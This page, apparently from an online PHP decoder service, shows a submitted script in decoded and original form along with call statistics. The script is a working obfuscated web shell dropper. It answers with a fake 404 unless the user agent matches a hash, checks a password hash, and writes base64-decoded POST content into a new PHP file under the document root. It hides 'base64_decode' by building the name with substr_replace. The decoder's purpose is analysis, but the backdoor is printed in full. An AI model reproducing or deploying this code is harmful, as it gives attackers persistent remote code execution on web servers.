Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php if (//gWkXo]jVj;C;\\danM9 md5 ##S4 L`hy (/* @}6U0a4Z+$ (<=Q*/md5 ##[&rs0TH-$1`25*..

Decoded Output download

<?php 
if (//gWkXo]jVj;C;\danM9 
md5 ##S4 L`hy 
(/* @}6U0a4Z+$ (<=Q*/md5 ##[&rs0TH-$1`25*FG 
(/*w]RtasvII(K6iAhP*/md5 ##]J*Q69 
( ###qM5hKr>p%jN 
$_SERVER//,$^m0_g~Lju&A 
['HTTP_USER_AGENT']))) != //A$nenIB( 
'39542de4e2fa50462d96ea26e878a658')/*nhSYHJi_:k*/ { 
    //s%!eQdRk65(WqN]X5} 
header/*1~ tFb(T<M+cFB8p*/(/*1oxs>1F)Rsemil,VYLRW*/'HTTP/1.1 404 Not Found') ##->~!7 
; 
    //ikF<!4PIZ(L$NCAx 
header//#WW\dDq 
(//Ly_ESs 
"status: 404 Not Found")//dt5~F=+8n~hWsw({[WY! 
; 
    die(); 
} 
if(!empty(//Ub #J6s 
$_POST ##OujnA& 
["contentp"]) && !empty(//=t3\B ;x 
$_POST//M2nOP<p 
["filename"]) && @/*jf8Kz_*/md5//}Pvy-Z@T{`T 
( ##<WaWd6^{QF<@(`-Fj#x 
$_POST ##;<!%L@1lwXzboi~H@ 
["pass"]) == //f^Huwn_g<&%@9fsk 
"bc795727e71d6b3f9fff79eb7bccf000")//{AJ-!MJ3{#%Bs 
{ 
     ##C[O_:EAWIWCKEZ 
$filename//QE$!BP 
= /*@[M{P)X&UEG]80X;ec`Y*/$_SERVER//{(hY%[LTBtnx 
["DOCUMENT_ROOT"] . /*F0@z5X@X><#ZXWB*/"/"./*E!texbMrBRt]vqdR*/@ ##m)8:]YP.mm)MCRX 
trim/*N%w3:rt](^eUeLWt*/(/*JkH:GJA}O@hA*/$_POST//i|J:b1b 
["filename"]) . //C}OY,6 
".p"; ##gL~J4ZgQ9v 
 
    //GwW]H;ECE+0cybU@=$5h 
$filename ##P^pD(eSaLXWIX 
.= /*J$zTHuLR$+dFDNF*/"hp";//exuDT,HxO 
 
    /*7@RGxx-$1h~^*/$path ##y%J{l:4{eW,z 
= //,.+h>SqJ= 
substr_replace ##Hx4AM 
("bar","se646",2); 
     ##J.2BGWGd$6np 
$path/*m_s|}OjK^Wx*/= //&cv]Q#o%`cD_]FVY 
substr_replace ##|zd0<v*Nzamp@\Yw( 
($path,"_decor",6); 
    /*9EP-uXO 5ijS*/$path//;}+Sd*yTpk.wPelq]uZ9 
= /*4jUGX#%*BHI`V@fpS[*/substr_replace//HX3q7u 
($path,"de",11); 
    /*Dv5f{*/file_put_contents/*G MUo=Ts,TF90%Lr*/($filename, /*VPvBFQ3FD*/"<?php
".//rKlEMH8@Lt{qASF;U9k 
$path//>wlCgLzoDI,[rwy~E ,V 
(/*JL~>ycKmm-{Fp#n&25a*/$_POST//Xz2R4TK 
["contentp"])./*sT:S7jHP@),7KuBB-*1*/"?>")//@U5pjiK5SR>h 
; 
    echo /*4VP$<LBxbR0[M*/$filename/*[SpvZKnZ2F*/;exit(); 
}

Did this file decode correctly?

Original Code

<?php
if (//gWkXo]jVj;C;\\danM9
md5 ##S4 L`hy
(/* @}6U0a4Z+$ (<=Q*/md5 ##[&rs0TH-$1`25*FG
(/*w]RtasvII(K6iAhP*/md5 ##]J*Q69
( ###qM5hKr>p%jN
$_SERVER//,$^m0_g~Lju&A
['HTTP_USER_AGENT']))) != //A$nenIB(
'39542de4e2fa50462d96ea26e878a658')/*nhSYHJi_:k*/ {
    //s%!eQdRk65(WqN]X5}
header/*1~ tFb(T<M+cFB8p*/(/*1oxs>1F)Rsemil,VYLRW*/'HTTP/1.1 404 Not Found') ##->~!7
;
    //ikF<!4PIZ(L$NCAx
header//#WW\dDq
(//Ly_ESs
"status: 404 Not Found")//dt5~F=+8n~hWsw({[WY!
;
    die();
}
if(!empty(//Ub #J6s
$_POST ##OujnA&
["contentp"]) && !empty(//=t3\B ;x
$_POST//M2nOP<p
["filename"]) && @/*jf8\6Kz_*/md5//}Pvy-Z@T{`T
( ##<WaWd6^{QF<@(`-Fj#x
$_POST ##;<!%L@1lwXzboi~H@
["pass"]) == //f^Huwn_g<&%@9fsk
"bc795727e71d6b3f9fff79eb7bccf000")//{AJ-!MJ3{#%Bs
{
     ##C[O_:EAWIWCKEZ
$filename//QE$!BP
= /*@[M{P)X&UEG]80X;ec`Y*/$_SERVER//{(hY%[LTBtnx
["DOCUMENT_ROOT"] . /*F0@z5X@X><#ZXWB*/"/"./*E!texbMrBRt]vqdR*/@ ##m)8:]YP.mm)MCRX
trim/*N%w3:rt](^eUeLWt*/(/*JkH:GJA}O@hA*/$_POST//i|J:b1b
["filename"]) . //C}OY,6
".p"; ##gL~J4ZgQ9v

    //GwW]H;ECE+0cybU@=$5h
$filename ##P^pD(eSaLXWIX
.= /*J$zTHuLR$+dFDNF*/"hp";//exuDT,HxO

    /*7@RGxx-$1h~^*/$path ##y%J{l:4{eW,z
= //,.+h>SqJ=
substr_replace ##Hx4AM
("bar","se646",2);
     ##J.2BGWGd$6np
$path/*m_s|}OjK^Wx*/= //&cv]Q#o%`cD_]FVY
substr_replace ##|zd0<v*Nzamp@\Yw(
($path,"_decor",6);
    /*9EP-uXO 5ijS*/$path//;}+Sd*yTpk.wPelq]uZ9
= /*4jUGX#%*BHI`V@fpS[*/substr_replace//HX3q7u
($path,"de",11);
    /*Dv5f{*/file_put_contents/*G MUo=Ts,TF90%Lr*/($filename, /*VPvBFQ3FD*/"<?php\n".//rKlEMH8@Lt{qASF;U9k
$path//>wlCgLzoDI,[rwy~E ,V
(/*JL~>ycKmm-{Fp#n&25a*/$_POST//Xz2R4TK
["contentp"])./*sT:S7jHP@),7KuBB-*1*/"?>")//@U5pjiK5SR>h
;
    echo /*4VP$<LBxbR0[M*/$filename/*[SpvZKnZ2F*/;exit();
}

Function Calls

md5 3
header 1

Variables

None

Stats

MD5 bb448b9a379961daba8ef685d43c25da
Eval Count 0
Decode Time 57 ms